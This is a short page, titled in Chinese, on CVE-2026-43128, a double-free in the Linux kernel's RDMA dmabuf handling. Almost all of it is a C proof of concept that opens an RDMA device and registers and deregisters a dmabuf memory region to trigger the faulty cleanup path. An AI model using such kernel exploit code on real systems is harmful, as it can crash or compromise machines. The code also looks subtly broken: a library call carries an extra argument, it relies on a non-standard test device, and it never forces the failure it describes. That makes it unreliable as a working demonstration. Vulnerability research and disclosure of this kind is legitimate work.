CVE-2026-43128: Linux内核双重释放漏洞

/* * PoC for CVE-2026-43128 * Demonstration of triggering the double dma_buf_unpin in Linux Kernel RDMA. * This code attempts to trigger the failure path in ib_umem_dmabuf_get_pinned_with_dma_device. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <infiniband/verbs.h> int main() { struct ibv_context *ctx; struct ibv_pd *pd; int dmabuf_fd; struct ibv_mr *mr = NULL; int ret; // 1. Open RDMA device int num_devices; struct ibv_device **dev_list = ibv_get_device_list(&num_devices); if (!dev_list || num_devices == 0) { perror("No RDMA devices found"); return -1; } ctx = ibv_open_device(dev_list[0]); if (!ctx) { perror("Failed to open device"); return -1; } pd = ibv_alloc_pd(ctx); if (!pd) { perror("Failed to allocate PD"); ibv_close_device(ctx); return -1; } // 2. Prepare a dmabuf (Simplified setup) // In a real scenario, creating a dmabuf that fails mapping requires specific memory pressure or driver quirks. // Here we assume the existence of a device or file providing dmabuf. dmabuf_fd = open("/dev/dmabuf_test", O_RDWR); if (dmabuf_fd < 0) { printf("Note: PoC requires a valid dmabuf fd to trigger kernel path.\n"); } // 3. Attempt to register memory region // This calls ib_umem_dmabuf_get_pinned_with_dma_device internally. // If map_pages fails, the vulnerability triggers on cleanup. if (dmabuf_fd >= 0) { mr = ibv_reg_dmabuf_mr(pd, 0, 4096, 0, dmabuf_fd, 0, NULL); if (!mr) { printf("ibv_reg_dmabuf_mr failed. Kernel state might be corrupted if map_pages failed.\n"); } } // 4. Cleanup triggers ib_umem_release -> potential double unpin if (mr) { ibv_dereg_mr(mr); } ibv_dealloc_pd(pd); ibv_close_device(ctx); free(dev_list); return 0; }